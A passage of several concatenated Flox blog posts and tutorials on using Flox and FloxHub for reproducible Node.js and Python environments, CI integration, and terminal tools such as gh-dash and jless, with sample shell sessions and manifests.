[wasm-pack](https://github.com/rustwasm/wasm-pack), [wasmtime](https://github.com/bytecodealliance/wasmtime), or any required dependencies to your Flox environment’s software manifest. You can feel confident your Flox Node.js environments will run and behave the same across all phases of your SDLC—from local development on macOS, Linux, or Windows (with WSL2), to the Linux VM and container runners you use in CI and prod. It's simple to get started using Flox. In [fewer than five minutes](https://flox.dev/docs/flox-5-minutes), you can set up a Node.js dev environment on your local machine, with complete access to all your tools, files, and resources. To share your environment, just run `git push` or `flox push` (to push to [FloxHub](https://flox.dev/blog/write-once-take-anywhere-home-away-from-home-with-floxhub/)). That's all it takes! Your teammates can `git clone` or `flox pull` your environment to run it locally. [Download Flox](https://flox.dev/docs/install-flox/) today and discover how it can transform your Node.js workflow! ## Flox & Node.js FAQs **How does Flox provide reproducible and portable Node.js environments across different platforms?** Flox utilizes Nix to create self-contained environments that run identically on Linux, macOS, and Windows (with WSL2), regardless of ARM or x86 architectures. It captures all dependencies and configurations in a declarative manifest, ensuring consistent behavior from local development to CI/production without discrepancies. **What are the advantages of using Flox for Node.js development over traditional container-based solutions?** Flox environments offer transparent access to local resources, unlike containers which introduce isolation layers and performance overheads. They provide bulletproof reproducibility due to Nix's immutable build cache, guaranteeing the exact same software versions every time. Flox also allows layering multiple environments for flexible tool combinations without the complexity of container orchestration. **Does Flox support polyglot Node.js projects involving multiple programming languages?** Flox is ideal for polyglot Node.js projects as it supports all languages and toolchains. You can easily include dependencies for languages like Python, Go, Rust, or C++ alongside Node.js within the same Flox environment. This allows developers to manage complex project architectures with all required tools optimized for various platforms and architectures. **How can Flox Node.js environments be shared among development teams?** Flox environments can be easily shared by committing the manifest.toml file to your project's version control system. Teammates can then git clone the repository and activate the Flox environment, instantly getting the exact same setup. Additionally, environments can be pushed to and pulled from FloxHub for broader distribution, ensuring consistency across the team. Title: Get GitHub in Your Terminal, No Browser Required, with gh-dash and Flox Source: https://flox.dev/popular-packages/get-github-in-your-terminal-no-browser-required-with-gh-dash-and-flox/ Date: 2024-10-04 Category: tutorial # Get GitHub in Your Terminal, No Browser Required, with gh-dash and Flox gh-dash is a visual, intuitive terminal-based tool you can use to manage GitHub pull requests, issues, and code reviews. It’s Friday again, and that means it’s time for Fun Packages Friday, in which we introduce and highlight a piece of software in the Flox Catalog, powered by Nixpkgs. This week, I wanted to show off a tool called gh-dash. it’s a terminal ([ncurses](https://github.com/mirror/ncurses)-based) interface to view Pull Requests (PR) and Issues on Github. To give it a spin with Flox, simply run: `flox install gh-dash` to place it in an environment. If you don’t already have Flox installed, you can [get it here](https://flox.dev/docs/install-flox/). The only configuration setting required is to have your `GITHUB_TOKEN` environment variable set prior to invoking `gh-dash`. The default screen brings up pull-requests you’ve opened that need your review, or that you’re somehow involved in. Hitting the `s` key switches to “Issue” mode, where you can see the GitHub issues you’ve opened, are assigned, or are involved in. That’s about all there is to it. Maybe `gh-dash` can help your day-to-day workflows a bit, just like Flox. Happy hacking! Title: Using Flox and jless to Automate All Kinds of Tasks Source: https://flox.dev/popular-packages/using-flox-and-jless-to-automate-all-kinds-of-tasks/ Date: 2024-09-27 Category: tutorial # Using Flox and jless to Automate All Kinds of Tasks Jless is a big time-saver when you need to work with JSON and jq, and is just a generally helpful tool. Plus, you can build jless-powered workflows into Flox environments to automate all kinds of tasks. This is a new series for us! To kick things off, I wanted to share a tool I only recently discovered. [Jless](https://jless.io/) is a [terminal pager](https://en.wikipedia.org/wiki/Terminal_pager) in the spirit of `more` or `less`, but specifically designed for JSON documents. It pretty-formats the JSON, which makes it much more readable, but my favorite feature is that it also displays the `jq` filter for highlighted items. This filter gives you a way to reference that specific part of the JSON structure using `jq` syntax. It’s a big time-saver when you’re looking for some quick automation, and it’s just generally helpful. You can check it out yourself by `flox install`-ing it. You might also want `jq`, along with `curl`, just in case. No problem! You can get all of these (and much more) from the Flox Catalog: ``` flox install jless jq curl ✅ 'jless' installed to environment 'grab-all-the-things' ✅ 'jq' installed to environment 'grab-all-the-things' ✅ 'curl' installed to environment 'grab-all-the-things' ``` Speaking of `curl`, let’s use it to fetch a list of public repos from GitHub and then pipe the output to `jless`, which automatically formats the raw JSON into a prettified, readable format. ``` curl https://api.github.com/repositories | jless ``` As you can see, the view with `jless` is just much more intuitive and easier to navigate than with the raw JSON. Plus, `jless` lets you interact with the JSON data structures, scrolling through them and optionally expanding or collapsing nested objects. In the above screenshot, I’ve highlighted the `downloads_url` of the [Thin project](https://github.com/macournoyer/thin/), so jless shows me the `jq` filter string in the bottom highlight bar. With that filter string, I can easily extract, manipulate, or query specific parts of the JSON data. For example, if I wanted to do something with automation, I might: ``` $ curl -s https://api.github.com/repositories | jq '.[18].downloads_url' "https://api.github.com/repos/macournoyer/thin/downloads" ``` Or how about this example, which fetches data from [NASA's “Astronomy Picture of the Day” API](https://apod.nasa.gov/apod/astropix.html), downloads the corresponding image, and embeds the image's title and description as Exif metadata. This script depends on `exiftool`, which you can easily install via the Flox Catalog. ``` #!/bin/bash curl -s "https://api.nasa.gov/planetary/apod?api_key=DEMO_KEY" | tee response.json | jless read -p "Download the image and embed Exif metadata? (y/n): " choice if [ "$choice" == "y" ]; then jq -r '.hdurl' response.json | xargs curl -O jq -r '.title, .explanation' response.json > metadata.txt exiftool -overwrite_original -title="$(sed -n '1p' metadata.txt)" -description="$(sed -n '2p' metadata.txt)" "$(basename $(jq -r '.hdurl' response.json))" rm metadata.txt response.json fi ``` You can automate this by [embedding it in the `[hook]` section](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/) of `manifest.toml`, the setup file that defines a Flox environment. Running `flox activate` triggers the bash logic, opening the NASA JSON data in jless and giving you the option to save the image. Just alias `flox activate` to a command—say, `nasa-foo`—and run it when you want to! That’s a quick tour of `jless`. Happy hacking! Title: Integrating Flox with CI for Consistent, Reproducible Dev Environments Source: https://flox.dev/blog/integrating-flox-with-ci-for-consistent-reproducible-dev-environments/ Date: 2024-09-26 Category: guide # Integrating Flox with CI for Consistent, Reproducible Dev Environments By testing your environments as part of your CI workflows, you can guarantee they work the same way—everywhere. Are you using CI to test and validate your Flox environments? It's a smart move. CI is just another case of Flox's core value proposition: declarative, reproducible dev environments that work the same way everywhere. But rather than a one-time proof of consistency, testing in CI with Flox provides a continuous, automated check against environment drift. The practical benefit is that everyone who relies on your environments always uses the same tested, validated version. If this sounds intriguing, read on for a quick overview of how you can set up CI pipelines that automatically run, build, and validate your Flox environments. ## Reusable, Pre-Built Automation for CI It’s startlingly simple to integrate Flox into your CI runs. This walk-through will focus on GitHub Actions, the most widely used CI platform. If you’re curious about Flox and CircleCI, or want to know how Flox supports GitLab CI/CD jobs, check out [Flox Docs](https://flox.dev/docs/tutorials/ci-cd/?h=continu#github-actions). The short answer is: Yes, there’s an action for that—regardless of which popular CI platform you’re using. For GitHub Actions, you can use Flox’s `flox/install-flox-action` and `flox/activate-action` to run, test, and validate your Flox environments during CI runs. Let’s briefly unpack what these actions do: - [**`flox/install-flox-action`**](https://github.com/flox/install-flox-action). This action gives you a way to install Flox in the VM or container runner during the CI pipeline’s setup phase. First you use GitHub's actions/checkout@v4 GitHub Action to pull your environment’s repo, then use the `flox/install-flox-action` to install and set up Flox. - [**`flox/activate-action`**](https://github.com/flox/activate-action/). This action runs after you pull your environment from GitHub and install Flox. It activates the environment, executing the steps you’ve defined to trigger a build process (if applicable), and run smoke, unit, integration, or other tests for validation. The rest is the familiar stuff of CI 101. For example, you define these actions and steps in the `.github/workflows/*.yaml` file in your environment’s project directory. The workflow is triggered by events like code pushes or pull requests (PR), which you also define in the `*.yaml` file. That’s basically it. To understand how this works in practice, let’s pivot to explore a production example! ## Flox and CI in Production For this section, we’ll explore how [floxdocs](https://github.com/flox/floxdocs), the public repo for Flox’s official documentation, uses CI to test and validate the environment we use to build documentation for both the Flox CLI and FloxHub, while simultaneously deploying it to production. First, we’ll clone the `floxdocs` repo to the local system: ``` daedalus@askesis:~/dev$ git clone https://github.com/flox/floxdocs Cloning into 'floxdocs'... remote: Enumerating objects: 170, done. remote: Counting objects: 100% (64/64), done. remote: Compressing objects: 100% (43/43), done. remote: Total 170 (delta 43), reused 24 (delta 20), pack-reused 106 (from 1) Receiving objects: 100% (170/170), 3.88 MiB | 21.34 MiB/s, done. Resolving deltas: 100% (61/61), done. ``` This is a great example of how Flox sips its own champagne. For instance, once you clone the `floxdocs` repo, you can run `flox activate` to create a local instance of the `floxdocs` production environment. Naturally, all this runs in Flox! In the example below, `flox activate -s` tells Flox to start and manage [MkDocs](https://www.mkdocs.org/) as a service. ``` daedalus@askesis:~/dev/floxdocs$ flox activate -s ✅ You are now using the environment 'floxdocs'. To stop using this environment, type 'exit' 1. 👉 Python environment activated 2. 👉 FLOX_VERSION set to 1.3.2 3. 👉 Downloaded Flox source archive 4. 👉 Extracted Flox source archive 5. 👉 Copy man pages from Flox source archive      ╔═══════════════════════════════════╗      ║                                   ║      ║  To build a production docs run:  ║      ║  > mkdocs build                   ║      ║                                   ║      ║  To write docs locally run:       ║      ║  > mkdocs serve                   ║      ║                                   ║      ╚═══════════════════════════════════╝ (floxdocs-py3.11) flox [floxdocs] (floxdocs-py3.11)  ``` The `floxdocs` repo already contains a `.github/workflows/ci.yaml` file. Instead of pasting the contents of that file here, let’s instead walk through what it does. If you’re curious, you can clone the repo and check it out for yourself, or just [click here to view it on GitHub](https://github.com/flox/floxdocs/blob/preview/.github/workflows/ci.yml). Basically, the `ci.yaml` in `floxdocs` does the following: **Triggers the CI workflow on specific events**, including manual runs (`workflow_dispatch`), but also pushes to the `main` or `preview` branches, and any PR. **Ensures only one workflow runs at a time per branch/PR**, avoiding race conditions and similar concurrency issues. **Installs Flox**, spinning up a VM runner that: - Checks out code from the FloxDocs repo using the `actions/checkout@v4` GitHub Action; - Installs Flox using the `flox/install-flox-action` action; - Activates the Flox environment using the `flox/activate-action` action. **Builds documentation and deploys to Netlify**: - Uses MkDocs to compile documentation; - Copies the files built by MkDocs to `public/docs`, and prepares for deployment; - Uses the `nwtgck/actions-netlify@v3.0 action` to deploy to [Netlify](https://www.netlify.com/). That’s it. The Flox Docs team, of which I am a member, uses this environment to build, test, and deploy its documentation. The cool thing about this is that it’s a case of _facta non verba_, of actions speaking louder than words. The Flox environment I use to build and edit documentation on my Dell Linux laptop not only runs and behaves exactly the same on Flox Docs teammate Brendan Magee’s MacBook Pro, but works without a hitch on an Ubuntu runner in CI. Every time I push changes to `origin`, I’m both testing the `floxdocs` environment and teeing up new (or changed) documentation for production. Flox Docs is both an essential service and a highly effective proof-of-concept. Try it for yourself! The `floxdocs` repo itself is public, so you can contribute, too. Flox is getting better with every new release, and you might discover something we forgot to add! ## Declarative Reproducibility You Can Count On When you integrate your Flox environments into CI, everyone who uses them—your team, the VMs and containers your org runs in CI, the customers who pull them from GitHub or [FloxHub](https://flox.dev/blog/write-once-take-anywhere-home-away-from-home-with-floxhub)—stays in sync. Instead of users upgrading packages or changing settings willy-nilly, _everyone’s_ environment advances together. Just as important, your CI workflows give you a structured, reliable process for testing and validating changes—with code pushes or PRs triggering automated testing and validation. The upshot is that updates to a Flox environment’s packages, dependencies, and settings are _always_ thoroughly vetted before being deployed to production. It’s as close to turn-key as software (and CI) can get: environments-as-code. If you’ve read this far, you probably already know about Flox. If you don’t, the best way to discover what’s new, different, and transformative about Flox is to [download and take it for a test drive](https://flox.dev/docs/install-flox/). Discover how using Flox radically refactors your dev workflows! Title: Write Once, Take Anywhere $HOME Away from Home with FloxHub Source: https://flox.dev/blog/write-once-take-anywhere-home-away-from-home-with-floxhub/ Date: 2024-09-18 Category: guide # Write Once, Take Anywhere $HOME Away from Home with FloxHub With FloxHub, it’s easy to share and manage Flox environments, making them available to your teammates. Even better, FloxHub provides a one-stop shop for changing your environments. With [FloxHub](https://hub.flox.dev), it’s simple to share your Flox environments. By `flox push`-ing an environment to FloxHub, you can make it available to all of your teammates. Even better, FloxHub doubles as a one-stop shop for _managing and changing_ your Flox environments. Need to update a package version, change an environment variable, add automation logic, or modify a service—while making sure your changes get picked up by everyone who relies on your environment? Just use FloxHub! This article provides a brief overview of how FloxHub works. ## Taking $HOME with You—Everywhere I’ll use the [`default`](https://flox.dev/blog/extreme-home-makeover-with-flox) Flox environment that lives in my `$HOME` directory as an example. It runs on Linux, macOS, and Windows (with WSL2), across more than a dozen different physical and virtual systems, on x86-64 and ARM hardware. This environment gives me exactly the same userland, with exactly the same packages, _everywhere_. If I shared this environment with my teammates, they could `flox pull` it from FloxHub and get access to the same tools and services I use, too. Here’s a screencap of my `default` environment’s landing page in FloxHub. Notice the red box? Hovering my mouse over the icon inside of it brings up an “Edit manifest.toml” tooltip. For the uninitiated, [`manifest.toml`](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments) is the configuration artifact that Flox uses to define software packages and versions, variables, services, and other environmental settings. Clicking that icon puts me into FloxHub’s built-in editor, which not only lets me make changes to my environment, but also validates them in real-time. I prefer to work with the same versions of Go and Python across all of my systems, so I used to install specific versions of both languages via their official toolchains, instead of using `apt` (on Debian systems) or `brew` (on my x86-64 Darwin system). But Flox Catalog has the exact versions I need of both, which not only makes fresh installs easy (on new systems), but also automates updates (on existing systems). If I build Go and Python into my `default` environment, I’ll no longer have to maintain the scripts I used to depend on to install and manage both toolchains. These scripts tend to break at least once a year, thanks to upstream changes. “Installing” Go and Python in my default environment is as easy as adding the following lines: ``` go.pkg-path = “go” python311.pkg-path = “python311” ``` That’s it. Once I make my modifications with FloxHub’s editor, I can click “Commit Changes” and FloxHub does the rest. Under the covers, FloxHub makes sure both packages can install into my environment without conflicting with what’s already there. After thinking and evaluating for a bit, it displays a message telling me “Successfully saved changes to ‘default’”. Now I can use the new environment across all of my systems! There’s one more thing. On my macOS system, I use Flox to install and run the OpenSSH Server package, because it’s newer and better than the OpenSSH Server I get with macOS Sonoma. But I quite like the versions of OpenSSH server that I get on my Linux systems, and even on Windows with WSL2. So if this is going to be a truly cross-platform `default` environment, I need to restrict `openssh` to install and run on just macOS. I also want it to start automatically, which means configuring an `openssh` service for Flox to manage. Just to make sure Flox doesn’t try to start macOS’ default `sshd` binary (which lives in `/usr/sbin`), I’ll specify a path to the `sshd` executable in my Flox environment, and I’ll also export the path to my Flox-specific `sshd_config` file as an environment variable. I can do this using the FloxHub editor, too! ## Write Once, Run Anywhere The beauty of managing everything in FloxHub is that I can make my changes _in just one place_ and have them propagate anywhere. For example, watch what happens when I pull `default` on one of my Debian test boxes. ``` daedalus@eidos:~$ flox pull barstoolbluz/default ⠦ ⬇️ Remote: pulling and building barstoolbluz/default from https://hub.flox.dev/ into the current directory ``` I had not yet created a `default` Flox environment in my `$HOME` on this system, so Flox first had to build it. Once it finished doing this, however, I had access to all of the packages I should... ``` flox [barstoolbluz/default] daedalus@eidos:~$ which python /home/daedalus/.cache/flox/run/barstoolbluz/default.8b7825a2/bin/python flox [barstoolbluz/default] daedalus@eidos:~$ which go /home/daedalus/.cache/flox/run/barstoolbluz/default.8b7825a2/bin/go flox [barstoolbluz/default] daedalus@eidos:~$ which dysk /home/daedalus/.cache/flox/run/barstoolbluz/default.8b7825a2/bin/dysk flox [barstoolbluz/default] daedalus@eidos:~$ dysk ┌──────────────┬────┬────┬────┬─────────┬────┬────┬────────────┐ │ filesystem │type│disk│used│ use │free│size│mount point │ ├──────────────┼────┼────┼────┼─────────┼────┼────┼────────────┤ │/dev/sda1 │ext4│SSD │341G│35% █▊ │642G│983G│/mnt/scratch│ │/dev/nvme1n1p4│ext4│SSD │ 79G│13% ▋ │513G│592G│/mnt/arkiv │ │/dev/nvme1n1p3│ext4│SSD │ 62G│15% ▊ │343G│405G│/ │ │/dev/nvme0n1p1│ext4│SSD │ 90G│36% █▊ │160G│251G│/mnt/usr │ │/dev/nvme1n1p2│vfat│SSD │ 10M│ 2% ▏ │518M│529M│/boot/efi │ ``` ...and none of the ones I shouldn’t: ``` flox [barstoolbluz/default] daedalus@eidos:~$ which sshd flox [barstoolbluz/default] 1 daedalus@eidos:~$ ``` My Flox-provided OpenSSH Server package should only be available on macOS platforms. On my Debian test system, the `sshd` executable lives in `/usr/sbin`, which isn’t in my user’s path, so running `which sshd` returns nothing—as expected. On my macOS system, by contrast, when I run `flox pull` to update `default`, the `sshd` executable is exactly where it should be, and Flox manages `openssh` as a service: ``` daedalus@kakos:~ % flox services start ✅ Service 'openssh' started. daedalus@kakos:~ % which sshd /Users/daedalus/.cache/flox/remote/barstoolbluz/default/.flox/run/bin/sshd ``` Now let’s try this on an Ubuntu WSL2 system, which I’ve configured to run my `default` profile automatically whenever I log in. When I `ssh` into that box, then, I’ll be put right into my `default` Flox environment. Will my new Go and Python toolchains be there too? ``` daedalus@anaximander:~$ which python /home/daedalus/.cache/flox/remote/barstoolbluz/default/.flox/run/bin/python daedalus@anaximander:~$ which go /home/daedalus/.cache/flox/remote/barstoolbluz/default/.flox/run/bin/go daedalus@anaximander:~$ which sshd /usr/sbin/sshd ``` Neat. Changes I made seconds ago on FloxHub propagated to my WSL2 Ubuntu system! But _how_? Is this some kind of quantum action-at-a-distance phenomenon? Or—colour me skeptical—has Flox discovered magic? Neither—although what Flox does can often seem like magic. The answer is that I’m activating `default` as a **FloxHub environment**, using the `-r` option. I can do this on my Debian test system, too: ``` daedalus@eidos:~$ flox activate -r barstoolbluz/default ✅ You are now using the environment 'barstoolbluz/default (remote)'. To stop using this environment, type 'exit' ``` FloxHub environments are cached locally. You can activate and use them when you need them, and when you're done—i.e., when you type `exit` in your terminal—the session ends. But the environment stays cached, so next time you activate, it's instantly ready. New changes on FloxHub can be pulled in via `flox pull -r /`. You can make this turn-key by adding the following line to your `.profile` or `.zprofile` shell startup files: ``` eval "$(flox activate -r /default)" ``` If you aren’t ready to pull your `default` environment live from FloxHub, but you still want a local version that starts automatically, just add the following line to your `.[z]profile`: ``` eval "$(flox activate -d $HOME)" ``` If I make changes locally that I want to incorporate into my canonical `default` environment on FloxHub, I can either `flox push` them from the terminal or make them using FloxHub's built-in editor. If you're working with a cached FloxHub environment (activated with `-r`), you can make changes to the cached copy and use `flox push -r owner/name` to sync those changes back to FloxHub. Hopefully, you can see how what works for my (or your) `default` environment will work with _any_ Flox environment—like our Flox [example environments](https://flox.dev/environments). We built these as proofs-of-concept to showcase what Flox could do, and also to double as tools you can `flox pull` and use in your own projects. If we were to update our [Postgres example environment](https://flox.dev/blog/flox-1.3-simplified-service-management-with-flox) so it supports built-in integration with [Citus](https://github.com/citusdata/citus), we’d make the change just once, in a single place: FloxHub. You could then access the updated version by running `flox pull -r` to update your local cache, or run `flox pull` to download an up-to-date copy to your current directory. It’s not difficult to imagine how you can integrate FloxHub into your own projects! ## New Thinking about Building, Managing, Using, and Sharing Software FloxHub is a central resource for viewing, editing, and managing your Flox environments. It gives you an at-a-glance understanding of the current state of an environment, and also lets you explore its history so you can see how often it has changed. Best of all, FloxHub gives you a way to make changes once, _in just one place_, and have them propagate to everyone who uses your environment. Getting started with FloxHub is super simple: all you need is a GitHub account! You can go to `https://hub.flox.dev` and create a FloxHub account, or `flox push` your first environment from a terminal. Both methods use GitHub as an OAuth identity provider to automatically sign you up for FloxHub. Flox is changing the way people build, manage, use, and think about software. It makes it easy to create declarative, deterministic dev environments that run and behave the same way anywhere. And it’s as easy to [get started with Flox](https://flox.dev/docs/) as it is to sign up for FloxHub: You can [download Flox](https://flox.dev/docs/install-flox/) and customize a `default` environment of your own today! Title: Using Flox to Create Portable, Reproducible Python Environments Source: https://flox.dev/blog/using-flox-to-create-portable-reproducible-python-environments/ Date: 2024-09-10 Category: guide # Using Flox to Create Portable, Reproducible Python Environments Flox makes it trivially easy to create and share portable, reproducible Python development environments using simple declarative methods. Flox makes it easy to create portable, reproducible Python environments that run the same way on Linux, macOS, and Windows (with [WSL2](https://learn.microsoft.com/en-us/windows/wsl/about#what-is-wsl-2)), across both ARM and x86 architectures. If you've got an existing Python project with a `requirements.txt` or `pyproject.toml` file, it's just as easy to get it working in a Flox environment. In many cases, you don't have to do any lifting at all, [because Flox automatically sets up your Python dependencies for you](https://flox.dev/docs/flox-5-minutes/). This article provides a quick-start overview of how to create Flox environments for Python projects, and explores how Flox integrates with existing Python projects. Ready to dig in? ## How to Kickstart a New Python Project with Flox So you're kicking off a new Python analytics project and you want to use Flox. Smart choice! You can feel confident the Flox Python environments you create on your Linux system will work on the macOS and Windows (with WSL2) systems your teammates use to build locally, along with the VMs and containers your organization runs in CI and production. Getting started with Flox is super simple. First, create and/or `cd` into your project directory. ``` daedalus@askesis:~/dev$ mkdir ./c-is-for-cookie && cd ./c-is-for-cookie ``` Next, initialize your Flox environment: ``` daedalus@askesis:~/dev/c-is-for-cookie$ flox init ✨ Created environment 'c-is-for-cookie' (x86_64-linux) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks ``` Each Flox environment is _tabula rasa_, ready to be populated with packages, or configured with environment variables, setup and teardown logic, automated actions, and built-in functions. ### Installing Python and packages via Flox To start things off, we need Python—version Python 3.11.x will do. So let's see what Flox has: ``` daedalus@askesis:~/dev/c-is-for-cookie$ flox search python311 python311 High-level dynamically-typed programming language python311Full High-level dynamically-typed programming language Use 'flox show ' to see available versions ``` Out of curiosity, let's `flox show` which versions of `python311Full` are available via the Flox Catalog: ``` daedalus@askesis:~/dev/c-is-for-cookie$ flox show python311Full python311Full - High-level dynamically-typed programming language python311Full@python3-3.11.9 python311Full@python3-3.11.8 python311Full@python3-3.11.7 python311Full@python3-3.11.6 python311Full@python3-3.11.5 python311Full@python3-3.11.4 python311Full@python3-3.11.3 python311Full@python3-3.11.2 python311Full@python3-3.11.1 ``` It looks like everything ever! We'll select `python311Full` and let Flox choose a version for us: ``` daedalus@askesis:~/dev/c-is-for-cookie$ flox install python311Full ✅ 'python311Full' installed to environment 'c-is-for-cookie' daedalus@askesis:~/dev/c-is-for-cookie$ flox list python311Full: python311Full (python3-3.11.9) ``` What's next? You can't do anything Pythonic involving data without installing Pandas and NumPy. You can easily get these from PyPi with `pip`, but—wait—does the Flox Catalog have Python libraries, too? ``` daedalus@askesis:~/dev/c-is-for-cookie$ flox search numpy [...] python311Packages.numpy Scientific tools for Python [...] ``` Neat: the Flox Catalog does in fact have Python3 libraries, as well! Let's go ahead and trust that the Flox packages for NumPy, Pandas, Matplotlib, and other core libraries use the same naming convention: ``` daedalus@askesis:~/dev/c-is-for-cookie$ flox install python311Packages.numpy python311Packages.pandas python311Packages.matplotlib python311Packages.seaborn python311Packages.scipy python311Packages.plotly ⠧ Installing packages to environment 'c-is-for-cookie'... ``` Because we're installing each of these libraries for the first time, Flox has to download and build them, which takes a little bit of time. However, should we need them for a _new_ Python 3.11 environment, they can be installed instantly. (“Installing” them just involves creating symlinks to where they're cached in Flox's local store, so installation truly is instantaneous.) Once Flox is finished, we see the following: ``` ✅ 'numpy' installed to environment 'c-is-for-cookie' ✅ 'pandas' installed to environment 'c-is-for-cookie' ✅ 'matplotlib' installed to environment 'c-is-for-cookie' ✅ 'seaborn' installed to environment 'c-is-for-cookie' ✅ 'scipy' installed to environment 'c-is-for-cookie' ✅ 'plotly' installed to environment 'c-is-for-cookie' ``` Oops! We forgot to install [`poetry`](https://github.com/python-poetry/poetry), which we use to manage dependencies across our Python software projects. Does the Flox Catalog have that, too? ``` flox [c-is-for-cookie] 1 daedalus@askesis:~/dev/c-is-for-cookie$ flox install poetry ✅ 'poetry' installed to environment 'c-is-for-cookie' ``` Yes it does! Let's `flox list` our environment's contents to see just what is installed: ``` matplotlib: python311Packages.matplotlib (python3.11-matplotlib-3.9.1) numpy: python311Packages.numpy (python3.11-numpy-1.26.4) pandas: python311Packages.pandas (python3.11-pandas-2.2.2) plotly: python311Packages.plotly (python3.11-plotly-5.23.0) poetry: poetry (1.8.3) python311Full: python311Full (python3-3.11.9) scipy: python311Packages.scipy (python3.11-scipy-1.14.0) seaborn: python311Packages.seaborn (python3.11-seaborn-0.13.2) ``` ### Activating your Python environment with Flox Okay: _now_ we're ready to fire up our environment so we can use it. If you’ve ever worked with a Python virtual environment, this process should seem at once simple and intuitive: ``` daedalus@askesis:~/dev/c-is-for-cookie$ flox activate ✅ You are now using the environment 'c-is-for-cookie'. To stop using this environment, type 'exit' flox [c-is-for-cookie] daedalus@askesis:~/dev/c-is-for-cookie$ ``` We know we’re in a Flox environment because our prompt changed. In the example above, the string `flox [ Show suggested modifications [Use '--auto-setup' to apply Flox recommendations in the future.] ``` This is neat! A wizard that offers to build and configure your Python environment for you. It's also different from what you usually get when you type `flox init` in a new, empty project dir: ``` daedalus@askesis:~/dev/c-is-for-cookie$ flox init ✨ Created environment 'c-is-for-cookie' (x86_64-linux) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks ``` So what's special about `eralchemy`'s repo? Why did Flox show me this wizard? ## Insta-Setup for Supported Python Projects When you initialize Flox and it finds a `pyproject.toml` or `requirements.txt` file inside a project directory, it automatically runs the wizard shown in the second code block above. Here's what each option does: - “Yes” builds the environment using the `pyproject.toml` file; - “No” skips automatic setup. You can use `pip` or `poetry` with `pyproject.toml` to build your environment; - “Show” previews the configuration you'd get by selecting “Yes,” letting you vet your environment's setup. And here's what happens if you choose the “Show” option: ``` > Show suggested modifications for pyproject [Use '--auto-setup' to apply Flox recommendations in the future.] [install] python3.pkg-path = "python3" python3.version = ">=3.8" [hook] on-activate = ''' # Setup a Python virtual environment export PYTHON_DIR="$FLOX_ENV_CACHE/python" if [ ! -d "$PYTHON_DIR" ]; then echo "Creating python virtual environment in $PYTHON_DIR" python -m venv "$PYTHON_DIR" fi # Quietly activate venv and install packages in a subshell so # that the venv can be freshly activated in the profile section. ( source "$PYTHON_DIR/bin/activate" # install the dependencies for this project based on pyproject.toml # pip install -e . --quiet ) ''' [profile] bash = ''' echo "Activating python virtual environment" >&2 source "$PYTHON_DIR/bin/activate" ''' fish = ''' echo "Activating python virtual environment" >&2 source "$PYTHON_DIR/bin/activate.fish" ''' tcsh = ''' echo "Activating python virtual environment" >&2 source "$PYTHON_DIR/bin/activate.csh" ''' zsh = ''' echo "Activating python virtual environment" >&2 source "$PYTHON_DIR/bin/activate" ''' ``` This is a Flox manifest, the environment and software configuration artifact that lives inside every Flox environment. (If you're curious about what this is and how it works, check out [this informative overview](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments).) If you choose “Yes” to accept this configuration, you can edit or customize it once Flox finishes building just by typing `flox edit`. And you can automate the setup process for Python environments just by running: ``` flox init --auto-setup ``` The software manifest looks good. Let's go ahead and have Flox auto-build the environment: ``` > Yes - with pyproject ✨ Created environment 'eralchemy' (x86_64-linux) ✅ 'python3' installed to environment 'eralchemy' Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks ``` The only dependency from `pyproject.toml` that Flox did not install for us is [Graphviz](https://graphviz.org/), an open source tool for creating and visualizing graphs. This is by design: even though Flox’s import wizard automatically sets up _Python_ packages, it doesn’t install _non-Python_ build dependencies. With `pyproject.toml` you sometimes get both. So you’ve got to install packages like Graphviz manually. To do this, we could `flox edit` and add `graphviz` to the `[install]` section of our environment's software manifest, but it's just as easy to install it from the command line. So let’s do that. ``` daedalus@askesis:~/dev/eralchemy$ flox install graphviz ✅ 'graphviz' installed to environment 'eralchemy' ``` Now it's time to put this environment through its paces. ### ERD Extraction & Generation Made Easy First let's activate the environment: ``` daedalus@askesis:~/dev/eralchemy$ flox activate ✅ You are now using the environment 'eralchemy'. To stop using this environment, type 'exit' Creating python virtual environment in /home/daedalus/dev/eralchemy/.flox/cache/python Activating python virtual environment (python) flox [eralchemy] daedalus@askesis:~/dev/eralchemy$ which eralchemy /home/daedalus/dev/eralchemy/.flox/cache/python/bin/eralchemy ``` Now let's grab a recommended example file, just to make sure this thing works: ``` (python) flox [eralchemy] daedalus@askesis:~/dev/eralchemy$ curl 'https://raw.githubusercontent.com/eralchemy/eralchemy/main/example/forum.er' > markdown_file.er ``` The `README.md` says we can use the following commands to make `eralchemy` do its thing. ``` (python) flox [eralchemy] daedalus@askesis:~/dev/eralchemy$ eralchemy -i 'markdown_file.er' -o erd_from_markdown.pdf ``` Now let's see what the contents of `erd_from_markdown.pdf` look like: Success! A classic ERD! All told, Floxifying a repo with a `pyproject.toml` file took less than two minutes. ## And Now for Something Completely Different… But what about a project that has a `requirements.txt` file—or, even better, _both_ types of environment configuration files? Let's find a repo that uses both and find out! Before there was [`btop`](https://github.com/aristocratos/btop) or [`bottom`](https://github.com/ClementTsang/bottom), there was [Glances](https://github.com/nicolargo/glances): one of a wave of colorful, informative, visually arresting post-`htop` terminal-based system monitoring tools. To install Glances from source, you first need to clone its GitHub repo.: ``` daedalus@askesis:~/dev$ git clone https://github.com/nicolargo/glances && cd glances Cloning into 'glances'… ``` But when you go to Floxify your Glances project, the first thing you'll notice is that `flox init` detects both `pyproject.toml` and `requirements.txt`: ``` daedalus@askesis:~/dev/glances$ flox init Flox detected a Python project with the following Python provider(s): * pyproject (generic pyproject.toml) Installs python (3.12.5) with pip bundled. Adds a hook to setup a venv. Installs the dependencies from the pyproject.toml to the venv. * latest python (requirements.txt) Installs latest python (3.12.5) with pip bundled. Adds hooks to setup and use a venv. Installs dependencies to the venv from: requirements.txt ! Would you like Flox to set up a standard Python environment? You can always change the environment's manifest with 'flox edit' > Yes - with pyproject Yes - with latest python No Show suggested modifications for pyproject Show suggested modifications for latest python [Use '--auto-setup' to apply Flox recommendations in the future.] ``` Let's see what's different between the two. First, here's the resulting manifest for `requirements.txt`: ``` [install] python3.pkg-path = "python3" [hook] on-activate = ''' # Setup a Python 